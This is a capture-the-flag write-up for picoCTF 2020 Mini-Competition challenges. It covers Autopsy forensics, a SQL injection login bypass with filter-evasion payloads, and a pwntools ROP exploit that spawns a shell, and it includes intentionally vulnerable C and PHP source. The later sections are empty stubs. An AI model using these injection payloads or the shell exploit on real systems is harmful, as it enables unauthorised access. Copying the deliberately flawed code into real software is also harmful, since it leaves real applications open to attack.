> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/picoctf-2020-mini-competition.md).

# picoCTF 2020 Mini-Competition

## Pitter, Patter, Platters (Autopsy)

### Challenge

'Suspicious' is written all over this disk image. Download [suspicious.dd.sda1](https://jupiter.challenges.picoctf.org/static/ca14d110858381cb297c1d22d62391a3/suspicious.dd.sda1)

### Solution

Open the `.sda` file in **Autopsy**. Click "Keyword Search" and search for the keyword **"suspicious"**. Here we find two files:

* `suspicious-file.txt`
* `suspicious-file.txt-slack`

`suspicious-file.txt` says:

```
suspicious-file.txt Nothing to see here! But you may want to look here -->


------------------------------METADATA------------------------------
```

`suspicious-file.txt-slack` says:

```
suspicious-file.txt-slack }dc7079dd_3<_|Lm_111t5_3b{FTCocip
```

{% hint style="info" %}
**File slack** is the difference between the physical file size and the logical file size. Autopsy creates **slack files** (with the `-slack` extension) from any extra space at the end of a file. These files can be displayed or hidden from the data sources area and/or the views area. Go to **"Tools => Options => Global Settings => Hide slack files in the:"** and unselect the options in this section.
{% endhint %}

Reverse the string and get flag:

```bash
echo '}dc7079dd_3<_|Lm_111t5_3b{FTCocip' | rev
```

## Web Gauntlet (SQLite Injection with WAF Bypass)

### Challenge

Can you beat the filters? Log in as admin [http://jupiter.challenges.picoctf.org:44979/](http://jupiter.challenges.picoctf.org:44979) <http://jupiter.challenges.picoctf.org:44979/filter.php>

### Solution

#### **Background Knowledge**

If we enter `user:password` on the login page, the backend SQL query will be something like this:

```sql
SELECT * FROM users WHERE username='user' AND password='solarwinds123';
```

Typically the very first payload for testing SQLi is `' or 1=1;--`, which results in the following SQL query:

```sql
SELECT * FROM users WHERE username='' or 1=1;-- AND password='solarwinds123';
```

Here the leading `'` **closes** the `username` field and anything comes after `--` is considered as **comment** (hence ignored). Since `''` evaluates to `False` and `1=1` evaluates to `True`, the entire SQL statement always evaluates to `True`.

#### **Round 1**

> Filter: `or`

In this round, the boolean expression `or` is filtered. We have to come up with a different payload. Alternatively, since the SQL default admin user is named `admin`, one possible payload without using `or` is `admin';--`. The corresponding SQL query is:

```sql
SELECT * FROM users WHERE username='admin';--' AND password='solarwinds123';
```

The SQL query got executed is shown in the background:

![Round 1 Done](/files/-MWgCo5p_pTPQI-0zWVJ)

#### **Round 2**

> Filter: `or` `and` `like` `=` `--`

For this round, simply remove the `--` from the payload for Round 1. The corresponding SQL query is:

```sql
SELECT * FROM users WHERE username='admin';' AND password='solarwinds123';
```

This query is still semantically correct since `;` closes the statement `SELECT * FROM users WHERE username='admin'`:

![Round 2 Done](/files/-MWf8kl9_z1qGUwzwKgk)

#### **Round 3**

> Filter: `or` `and` `=` `like` `>` `<` `--`

The payload for Round 2 works for this round as well:

![](/files/-MWf8nboSn9-zHcjw209)

#### **Round 4**

> Filter: `or` `and` `=` `like` `>` `<` `--` `admin`

Since `admin` is filtered, we have to come up with another approach. A typical solution for such filter is the **UNION attack**. The `UNION` keyword in SQL allows **multiple SQL statements** to be executed. For example:

```sql
SELECT Alice, Bob FROM good_people UNION SELECT Eve, Mallory FROM bad_people
```

In our case, we could construct an UNION attack as the following:

```sql
SELECT * FROM users WHERE username='ret2basic' UNION SELECT * FROM users LIMIT 1;' AND password='solarwinds123';
```

However, this payload does not work since **space** is filtered. To bypass this filter, let's replace all spaces with `/**/` (**empty comment is equivalent to space**):

```sql
SELECT * FROM users WHERE username='ret2basic'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='solarwinds123';
```

This payload works:

![Round 4 Done](/files/-MWf8PH0U0y9v-R5flTt)

#### **Round 5**

> Filter: `or` `and` `=` `like` `>` `<` `--` `union` `admin`

Since `union` is filtered in this round, we should switch back to the `admin';--` idea. There are two things that need to be changed:

1. Since `admin` is filtered, we could split `admin` into `adm'||'in`, where `||` is used for concatenating strings in SQL.
2. Since `--` is filtered, we could replace `;--` with `/*` to comment out the things that we don't need.

The complete SQL query is:

```sql
SELECT * FROM users WHERE username='adm'||'in'/*' AND password='solarwinds123';
```

Now go grab your flag:

![Round 5 Done](/files/-MWf8ZvKhdAwSQvqS72B)

### Appendix: Source Code

```php
<?php
session_start();

if (!isset($_SESSION["round"])) {
    $_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($round === 1) {
    $filter = array("or");
    if ($view) {
        echo "Round1: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 2) {
    $filter = array("or", "and", "like", "=", "--");
    if ($view) {
        echo "Round2: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 3) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
    // $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round3: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 4) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
    // $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round4: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 5) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
    // $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round5: ".implode(" ", $filter)."<br/>";
    }
} else if ($round >= 6) {
    if ($view) {
        highlight_file("filter.php");
    }
} else {
    $_SESSION["round"] = 1;
}

// picoCTF{y0u_m4d3_1t_16f769e719ab9d3e310fd13dc1262ee1}
?>
```

## Guessing Game 1 (ret2syscall)

### Challenge

I made a simple game to show off my programming skills. See if you can beat it! [vuln](https://jupiter.challenges.picoctf.org/static/96293c0a332ee9ed529bac472daab301/vuln) [vuln.c](https://jupiter.challenges.picoctf.org/static/96293c0a332ee9ed529bac472daab301/vuln.c) [Makefile](https://jupiter.challenges.picoctf.org/static/96293c0a332ee9ed529bac472daab301/Makefile) `nc jupiter.challenges.picoctf.org 26735`

### Makefile

```
all:
        gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c

clean:
        rm vuln
```

The binary is **statically linked**, so things like ret2libc won't work.

### Source Code

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
    return in + 1;
}

long get_random() {
    return rand() % BUFSIZE;
}

int do_stuff() {
    long ans = get_random();
    ans = increment(ans);
    int res = 0;

    printf("What number would you like to guess?\n");
    char guess[BUFSIZE];
    fgets(guess, BUFSIZE, stdin);

    long g = atol(guess);
    if (!g) {
        printf("That's not a valid number!\n");
    } else {
        if (g == ans) {
            printf("Congrats! You win! Your prize is this print statement!\n\n");
            res = 1;
        } else {
            printf("Nope!\n\n");
        }
    }
    return res;
}

void win() {
    char winner[BUFSIZE];
    printf("New winner!\nName? ");
    fgets(winner, 360, stdin);
    printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IONBF, 0);
    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    int res;

    printf("Welcome to my guessing game!\n\n");

    while (1) {
        res = do_stuff();
        if (res) {
            win();
        }
    }

    return 0;
}
```

Note that the function `get_random()` does not return a random number at all since `rand()` is **unseeded**. To confirm:

```c
#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 100

long get_random()
{
    return rand() % BUFSIZE;
}

int main(int argc, char **argv)
{
    printf("%ld\n", get_random());
}
```

The output is **83**, no matter how many times you run it.

Also, pay attention to these two lines of the source code:

```
    long ans = get_random(); // ans = 83
    ans = increment(ans); // ans = 84
```

The correct answer to the question "What number would you like to guess?" should be **84**.

### Solution

Since the binary does not contain the string `"/bin/sh\x00"`, we have to construct a **2-stage exploit**:

* **Stage 1:** Build a ROP chain for writing the string `"/bin/sh\x00"` to a writable memory location. A common choice is the `.bss` section. The address of `.bss` can be found using Pwntools `elf.bss()` method.
* **Stage 2:** Do normal ret2syscall to execute `execve("/bin/sh\x00", 0, 0)`.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch='amd64', os='linux')
elf = ELF("./vuln", checksec=False)

local = False
if local:
    r = elf.process()
else:
    host = 'jupiter.challenges.picoctf.org'
    port = 26735
    r = remote(host, port)

#--------ret2syscall--------#

offset = 120
pop_rax = 0x00000000004163f4
write_gadget = 0x000000000048dd71
bin_sh_address = elf.bss()
pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410ca3
pop_rdx = 0x000000000044a6b5
syscall = 0x000000000040137c

payload = flat(
    b"A" * offset,
    
    # Write the string "/bin/sh\x00" to .bss section
    pop_rdx, "/bin/sh\x00",
    pop_rax, bin_sh_address,
    write_gadget,
    
    # Call execve("/bin/sh\x00", 0, 0)
    pop_rax, 0x3b,
    pop_rdi, bin_sh_address,
    pop_rsi, 0,
    pop_rdx, 0,
    syscall,
)

r.sendlineafter("What number would you like to guess?\n", '84')
r.sendlineafter("Name? ", payload)
r.interactive()
```

## Guessing Game 2

{% hint style="success" %}
Solved by ret2basic
{% endhint %}

### Challenge

It's the Return of your favorite game! [vuln](https://jupiter.challenges.picoctf.org/static/98f4d8f74d09caee6c86c36d75c092a6/vuln) [vuln.c](https://jupiter.challenges.picoctf.org/static/98f4d8f74d09caee6c86c36d75c092a6/vuln.c) [Makefile](https://jupiter.challenges.picoctf.org/static/98f4d8f74d09caee6c86c36d75c092a6/Makefile) `nc jupiter.challenges.picoctf.org 57529`

### Makefile

```
all:
        gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c

clean:
        rm vuln
```

The binary is **dynamically linked** this time, which makes **ret2libc** possible.

### Source Code

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 512


long get_random() {
    return rand;
}

int get_version() {
    return 2;
}

int do_stuff() {
    long ans = (get_random() % 4096) + 1;
    int res = 0;

    printf("What number would you like to guess?\n");
    char guess[BUFSIZE];
    fgets(guess, BUFSIZE, stdin);

    long g = atol(guess);
    if (!g) {
        printf("That's not a valid number!\n");
    } else {
        if (g == ans) {
            printf("Congrats! You win! Your prize is this print statement!\n\n");
            res = 1;
        } else {
            printf("Nope!\n\n");
        }
    }
    return res;
}

void win() {
    char winner[BUFSIZE];
    printf("New winner!\nName? ");
    gets(winner);
    printf("Congrats: ");
    printf(winner);
    printf("\n\n");
}

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IONBF, 0);
    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    int res;

    printf("Welcome to my guessing game!\n");
    printf("Version: %x\n\n", get_version());

    while (1) {
        res = do_stuff();
        if (res) {
            win();
        }
    }

    return 0;
}
```

### Solution

### Exploit

```python
```

## OPT Implementation

### Challenge

Yay reversing! Relevant files: [otp](https://jupiter.challenges.picoctf.org/static/3cf0f72bb12b1fc6e96af00824beea49/otp) [flag.txt](https://jupiter.challenges.picoctf.org/static/3cf0f72bb12b1fc6e96af00824beea49/flag.txt)

### Solution

### Implementation

```python
```
